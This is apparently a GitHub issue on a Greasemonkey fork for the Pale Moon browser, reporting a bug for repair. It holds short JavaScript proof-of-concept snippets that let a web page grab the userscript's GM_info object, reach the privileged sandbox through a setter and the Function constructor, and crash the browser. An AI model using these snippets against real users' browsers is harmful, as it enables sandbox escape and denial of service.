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setter abuse #20

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xBZZZZ opened this issue Nov 22, 2021 · 1 comment · May be fixed by #21
Open

setter abuse #20

xBZZZZ opened this issue Nov 22, 2021 · 1 comment · May be fixed by #21

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@xBZZZZ
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xBZZZZ commented Nov 22, 2021

note: there needs to be running userscript

web page can get GM_info object like this:

open(location.href).__defineSetter__("GM_info",console.log)

web page can get sandbox object like this:

open("/").__defineSetter__("GM_info",v=>{
  const sandbox=v.toString.constructor("return this")()
  console.log(sandbox)
})

web page can CRASH pale moon like this:

open("/").__defineSetter__("GM_info",v=>{
  const sandbox=v.toString.constructor("return this")()
  new sandbox.XPCNativeWrapper(1)
})
@FrostKnight
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@xBZZZZ

We could use someone to fork this in general, it seems to be either dormant or gone...

If you knew how to fix, feel free.

@xBZZZZ xBZZZZ linked a pull request Jul 1, 2022 that will close this issue
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bypass GM_info setter on window without xray xBZZZZ/greasemonkey
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@FrostKnight @xBZZZZ